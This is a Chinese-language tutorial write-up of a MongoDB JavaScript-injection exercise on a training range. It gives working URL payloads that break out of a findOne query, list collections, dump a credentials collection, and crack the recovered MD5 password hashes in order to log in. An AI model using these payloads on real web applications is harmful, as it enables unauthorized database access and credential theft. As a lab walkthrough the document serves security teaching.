MongoDB数据库注入漏洞测试(mongodb漏洞利用)

MongoDB数据库注入漏洞测试(mongodb漏洞利用)

技术教程gslnedu2025-02-01 12:43:5312A+A-

一些概念

MongoDB是一个跟其它数据库非常非常不一样的数据库,它的存储数据方式跟json类似:

{

----a:1,

----{

--------b:2,

--------c:3

----},

----d:4

}

在MongoDB中,不存在表和列的说法,有的是叫“集合”以及“文档”

文档:数据由键值对组成,多个键值对有序的组合在一起,就是文档

集合:由一组相关的文档组合在一起,就成了集合(相当于其它数据库的一张表)

数据库:由多个集合组成

准备

打开靶场(墨者学院为例),网站给出了源码,在这个源码中,能得到

数据库名:mozhe_cms_Authority

查询的语句:var data = db.notice.findOne({'id':'注入的位置'}); return data;

回显的两个字段:title、content

得到以上的信息后,打开公告网页

判断注入点

随便在id的值输入一些数字,页面发生异常,说明存在注入点

拼凑语句,获得回显

根据提供的源码,得到了如下代码:

var data = db.notice.findOne({'id':'注入的位置'}); return data;

根据上面的代码,以及提供的两个字段(title、content),拼凑出如下url:

?id=1'});return ({title:1,content:'2

成功取得回显

爆集合

取得回显后,通过db.getCollectionNames()来获取集合:

?id=1'});return ({title:db.getCollectionNames(),content:'2

为了防止数据缺失,利用tojson()方法把文档都显示出来,得到了Authority_confidential、notice、system.indexes这三个集合

?id=1'});return ({title:tojson(db.getCollectionNames()),content:'2

其中notice存放的是通告的信息,故排除

system.indexes记录的是mongoDB数据库的索引信息,故排除

于是得到Authority_confidential集合

查询Authority_confidential的集合

通过find()对Authority_confidential集合进行查询:

?id=1'});return ({title:tojson(db.Authority_confidential.find()),content:'2

好家伙,出现一大堆数据,显示太乱了,于是一条一条查:

?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'2

这里得到了

id:621f1c5de8430f94f5daa9e1

name:mozhe

password:a83cd5ad5ed3e1c5597441aaab289f5c

status:0

-------------------------------------------------------

为了防止遗漏,继续:

?id=1'});return ({title:tojson(db.Authority_confidential.find()[1]),content:'2

这里得到了

id:621f1c5d19c2519bf5147095

name:mozhe

password:e58009f44aaf4423c84832f73ebca1a8

status:1

继续查下去,页面就提示undefined,说明只有两条数据:

name:mozhe

password-1:a83cd5ad5ed3e1c5597441aaab289f5c

password-2:e58009f44aaf4423c84832f73ebca1a8

MD5枚举解密

得到密码后发现是通过md5的方式加密过的,于是对它进行解密:

password-1:dsansda

password-2:937364

登录验证

取得密码后,进行验证:

第一个密码:说明这个不对

第二个密码:这个对了,成功获得key

本次注入成功

点击这里复制本文地址 以上内容由朽木教程网整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
qrcode

朽木教程网 © All Rights Reserved.  蜀ICP备2024111239号-8